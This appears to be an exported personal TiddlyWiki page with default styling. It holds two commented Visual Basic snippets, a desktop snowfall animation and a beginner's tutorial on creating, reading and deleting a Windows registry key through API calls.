<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>
<!--}}}-->
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity:60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0em 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0em 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 .3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0em 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0em 0em 0em; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0em;}
.wizardFooter .status {padding:0em 0.4em 0em 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em 0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0em; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em 0.2em 0.2em 0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em 0.2em 0.2em 0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em 1em 1em 1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0em;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0em 0em 0.5em;}
.tab {margin:0em 0em 0em 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0em 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0em 1em;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0em 0.25em; padding:0em 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0em; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px 1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; right:0em;}
#backstageButton a {padding:0.1em 0.4em 0.1em 0.4em; margin:0.1em 0.1em 0.1em 0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 3em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none ! important;}
#displayArea {margin: 1em 1em 0em 1em;}
/* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
noscript {display:none;}
}
/*}}}*/
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +editTiddler > fields syncing permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
To get started with this blank TiddlyWiki, you'll need to modify the following tiddlers:
* SiteTitle & SiteSubtitle: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* MainMenu: The menu (usually on the left)
* DefaultTiddlers: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These InterfaceOptions for customising TiddlyWiki are saved in your browser

Your username for signing your edits. Write it as a WikiWord (eg JoeBloggs)

<<option txtUserName>>
<<option chkSaveBackups>> SaveBackups
<<option chkAutoSave>> AutoSave
<<option chkRegExpSearch>> RegExpSearch
<<option chkCaseSensitiveSearch>> CaseSensitiveSearch
<<option chkAnimate>> EnableAnimations

----
Also see AdvancedOptions
<<importTiddlers>>
{{{
'---------------------------------------------
'-------源代码从网络获取------------------------
'-------我稍作修改并添加了部分注释希望能有帮助-----
'---------------------------------------------
Option Explicit
'<<<--------申明API----->>>

'GetDC()功能是获取指定窗体的设备场景的句柄(hDC),"用参数0则可以获取整个屏幕的场景句柄"
Private Declare Function GetDC Lib "user32" _
( _
ByVal hWnd As Long _
) As Long

'GetPixel用于取得场景(这里是整个屏幕)中某点的颜色值
Private Declare Function GetPixel Lib "gdi32" _
( _
ByVal hdc As Long, _
ByVal X As Long, _
ByVal Y As Long _
) As Long

'SetPixel用于设置场景(这里是整个屏幕)中某点的颜色值
Private Declare Function SetPixel Lib "gdi32" _
( _
ByVal hdc As Long, _
ByVal X As Long, _
ByVal Y As Long, _
ByVal crColor As Long _
) As Long

'ReleaseDC用于释放由GetDC()获取的设备场景句柄,否则可能造成系统锁死
Private Declare Function ReleaseDC Lib "user32" _
( _
ByVal hWnd As Long, _
ByVal hdc As Long _
) As Long

'InvalidateRect用于(清理窗口雪花)屏蔽一个窗口客户区的全部或部分区域。这会导致窗口在事件期间部分重画
Private Declare Function InvalidateRect& Lib "user32" _
( _
ByVal hWnd As Long, _
lpRect As RECT, _
ByVal bErase As Long _
)

'--->定义“区域”数据结构,但实际上并没有用到,因为仅需在函数InvalidateRect中传递一个空的RECT参数<----
Private Type RECT
 left As Long
 top As Long
 right As Long
 bottom As Long
End Type
Dim rect1 As RECT

'---->定义坐标点结构<------
Private Type POINTAPI
 X As Long
 Y As Long
End Type


Private Const SnowCol = &HFEFFFE '雪花颜色
Private Const SnowColDown = &HFFFFFF '积雪颜色
Private Const SnowColDuck = &HFFDDDD '深色积雪颜色
Private Const SnowNum = 500 '同一时间飘动的雪花数量

Dim hDC1 As Long '存储桌面窗口设备句柄
Dim pData(SnowNum) As POINTAPI '存储每个雪花的位置信息
Dim pColor(SnowNum) As Long '存储画出雪花前屏幕原来的颜色
Dim Vx As Integer '雪花总体水平飘行速度
Dim Vy As Integer '雪花总体垂直下落速度
Dim PVx As Integer '单个雪花实际水平飘行速度
Dim PVy As Integer '单个雪花实际垂直飘行速度

'-----------初始化雪花位置------------------
Private Sub InitP(i As Integer)
pData(i).X = Rnd() * Screen.Width
pData(i).Y = Rnd() - 2
pColor(i) = GetPixel(hDC1, pData(i).X, pData(i).Y) '取得屏幕原来的颜色值
End Sub

'-------------取得某一点与周围点的对比度,确定是否在此位置堆积雪花--------------
Private Function GetContrast(i As Integer) As Long
Dim ColorCmp As Long '存储用作对比的点的颜色值
Dim tempR As Long '存储CorlorCmp的红色部分,下同
Dim tempG As Long
Dim tempB As Long
Dim Slope As Integer '存储雪花飘落方向:Vx/Vy

'计算雪花飘落方向
If PVy <> 0 Then
 Slope = PVx / PVy
Else
 Slope = 2
End If

'根据雪花飘落方向决定取哪一点作对比点,
'若PVx/PVy在-1到1之间,即Slope=0,就取正下面的象素点
'若PVx/PVy>1,取右下方的点,PVx/PVy<-1则取左下方
If Slope = 0 Then
 ColorCmp = GetPixel(hDC1, pData(i).X, pData(i).Y + 1)
Else
 If Slope > 1 Then
 ColorCmp = GetPixel(hDC1, pData(i).X + 1, pData(i).Y + 1)
 Else
 ColorCmp = GetPixel(hDC1, pData(i).X - 1, pData(i).Y + 1)
 End If
End If

'确定当前位置没有与另一个雪花重叠,否则返回0,用于防止由于不同雪花重叠造成雪花乱堆
If ColorCmp = SnowCol Then
 GetContrast = 0
 Exit Function
End If

'分别获取ColorCmp与对比点的蓝、绿、红部分的差值
tempB = Abs((ColorCmp And &HFF0000) - (pColor(i) And &HFF0000)) / &H10000
tempG = Abs((ColorCmp And &HFF00&) - (pColor(i) And &HFF00&)) / &H100&
tempR = Abs((ColorCmp And &HFF&) - (pColor(i) And &HFF&))

'返回对比度值
GetContrast = (tempR + tempG + tempB) / 3
End Function
 
 '----------画出一帧,即重画所有雪花位置一次-----------
Private Sub DrawP()
Dim i As Integer
For i = 0 To SnowNum
  
 '防止雪花重叠造成干扰
 If pColor(i) <> SnowCol Then
 '还原上一个位置的颜色
 SetPixel hDC1, pData(i).X, pData(i).Y, pColor(i)
 End If
  
 '设置新的位置,i Mod 3用于将雪花分为三类采用不同速度,以便形成层次感
 PVx = Rnd() * 2 - 1 + Vx * (i Mod 3)
 PVy = Vy * (i Mod 3 + 1)
 pData(i).X = pData(i).X + PVx
 pData(i).Y = pData(i).Y + PVy
 '取得新位置原始颜色值,用于下一步雪花飘过时恢复此处颜色
 pColor(i) = GetPixel(hDC1, pData(i).X, pData(i).Y)
  
 '如果获取颜色失败,表明雪花已飘出屏幕,重新初始化
 If pColor(i) = -1 Then
 InitP i
 Else
 '否则若雪花没有重叠
 If pColor(i) <> SnowCol Then
 '若对比度较小(即不能堆积),就画出雪花
 'Rnd()>0.3用于防止某些连续而明显的边界截获所有雪花
 If Rnd() > 0.3 Or GetContrast(i) < 20 Then
 SetPixel hDC1, pData(i).X, pData(i).Y, SnowCol
 '否则表明找到明显的边界,画出堆积的雪,并初始化以便画新的雪花
 Else
 SetPixel hDC1, pData(i).X, pData(i).Y - 1, SnowColDuck
 SetPixel hDC1, pData(i).X - 1, pData(i).Y, SnowColDuck
 SetPixel hDC1, pData(i).X + 1, pData(i).Y, SnowColDown
 InitP i
 End If
 End If
 End If
Next
End Sub
'-----------初始化---------------
Private Sub Form_Load()
Randomize '初始化随机数种子
Dim j As Integer

Me.Caption = "Merry Christmas" '设置窗口标题
Me.Width = Image1.Width
Me.Height = Image1.Height
'设置计时器,Timer1用于画单帧,Timer2用于风向变化
Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = True
Timer2.Interval = 2000
Timer3.Enabled = True
Timer3.Interval = 1000



hDC1 = GetDC(0) '获取桌面窗口设备场景句柄

End Sub


'--------退出前,释放和清除相应的东西-------------
Private Sub Form_Unload(Cancel As Integer)
ReleaseDC 0, hDC1 '释放桌面窗口设备句柄
InvalidateRect 0, rect1, 0 '清除所有雪花,恢复桌面
End Sub


Private Sub Image1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 2 Then
    PopupMenu m_pop
End If
End Sub

Private Sub m_p1_Click()
End
End Sub

Private Sub Timer1_Timer()
DrawP '画出一帧
End Sub

Private Sub Timer2_Timer()
'改变风向
Vx = Rnd() * 4 - 2
Vy = Rnd() + 2
End Sub

'完结,最后,需要两个Timer:Timer1、Timer2。
Private Sub Timer3_Timer()
Me.WindowState = 1
Timer3.Enabled = False
End Sub

}}}
{{{
你希望你的程序能访问 Windows 注册表吗?当然,能访问庞大的 Windows 注册表是每个程序设计者都希望的事情,那么我就告诉你如何通过API函数访问 Windows 注册表吧。请先看看下面的 Visual Basic 程序: 

  '根键常数
  Const HKEY_CLASSES_ROOT = -2147483648#
  Const HKEY_CURRENT_USER = -2147483647#
  Const HKEY_LOCAL_MACHINE = -2147483646#
  Const HKEY_USERS = -2147483645#

  '键值类型
  Const REG_SZ = 1& '字符串值
  Const REG_BINARY = 3& '二进制值
  Const REG_DWORD = 4& 'DWORD 值

  '声明有关API函数
  Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
    ( _
     ByVal hKey As Long, _
     ByVal lpSubKey As String, _
     ByRef phkResult As Long _
     ) As Long '建立一个新的主键

  Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _
    ( _
     ByVal hKey As Long, _
     ByVal lpSubKey As String, _
     ByRef phkResult As Long _
    ) As Long '打开一个主键

  Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" _
   ( _
    ByVal hKey As Long, _
    ByVal lpSubKey As String _
   ) As Long '删除一个主键

  Private Declare Function RegCloseKey Lib "advapi32.dll" _
   ( _
    ByVal hKey As Long _
   ) As Long '关闭一个主键

  Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
   ( _
    ByVal hKey As Long, _
    ByVal lpValueName As String, _
    ByVal Reserved As Long, _
    ByVal dwType As Long, _
    ByVal lpData As Any, _
    ByVal cbData As Long _
   ) As Long '创建或改变一个键值,lpData应由缺省的ByRef型改为ByVal型

  Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _
   ( _
    ByVal hKey As Long, _
    ByVal lpValueName As String, _
    ByVal lpReserved As Long, _
    ByRef lpType As Long, _
    ByVal lpData As Any, _
    ByRef lpcbData As Long _
   ) As Long '查询一个键值,lpData应由缺省的ByRef型改为ByVal型

  Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" _
   ( _
    ByVal hKey As Long, _
    ByVal lpValueName As String _
    ) As Long '删除一个键值

  '主过程
  Sub Main()
   Dim nKeyHandle As Long, nValueType As Long, nLength As Long
   Dim sValue As String
   sValue = "I am a winner!"
   Call RegCreateKey(HKEY_CURRENT_USER, "New Registry Key", nKeyHandle)
   Call RegSetValueEx(nKeyHandle, "My Value", 0, REG_SZ, sValue, 255)
   sValue = Space(255)
   nLength = 255
   Call RegQueryValueEx(nKeyHandle, "My Value", 0, nValueType, sValue, nLength)
   MsgBox sValue
   Call RegDeleteValue(nKeyHandle, "My Value")
   Call RegDeleteKey(HKEY_CURRENT_USER, "New Registry Key")
   Call RegCloseKey(nKeyHandle)
  End Sub

  来看看程序运行的结果:

  在注册表的 HKEY_CURRENT_USER 根键中多了一个 New Registry Key 主键。其中除有一个空的“(默认)”值外,还有一个值为“I am a winner!”的“My Value”值
  下面我们来分析一下这个程序:

  首先是定义常量。前面四个常量是各根键的句柄,这些句柄都是固定的;后三个是键值类型,在注册表编辑器中右键单击主键弹出的“新建”菜单项中,可以看到这三个键值类型。  
  第二步是声明API函数。这一步可以通过“API 文本浏览器”来完成:用“API 文本浏览器”加载文件“Win32Api.txt”,查找出上例中的 API 函数并添加到“选定项”一栏中,点取“复制”按钮,再回到 VB 程序编辑环境,将剪贴板中的内容粘贴到VB程序编辑器中,这样就完成了 API 函数的声明过程。值得注意的是,“RegSetValueEx”和“ RegQueryValueEx”两个函数中的“lpData”被定义为“Any”类型的,却没有定义传递方式,于是它被默认为“ByRef”传递方式。经笔者测试,这样不能正确的设置或查询键值,但将其传递方式改为“ByVal”后,便 OK 了。  

  第三步便是在访问注册表了。“RegOpenKey”的用法与“RegCreateKey”的用法是类似的,前者用于打开一个已存在的主键,而后者除了能用于打开一个已存在的主键外,如果该主键不存在,还能创建这个主键。打开或创建主键成功后将返回一个句柄给参数“phkResult”,这个句柄将在对键值的操作中用到,它就是“RegSetValueEx”、“RegQueryValueEx”和“RegDeleteValue”中的“nKeyHandle”参数。  还有一点需要说明,每个主键中都有一个键值名显示为“(默认)”,但其键值名并不就是“(默认)”,而是一个空字符串。 

  现在,你知道怎样通过API函数访问Windows注册表了吗? 
}}}
!我开始尝试着使用你了,TiddlyWiki!
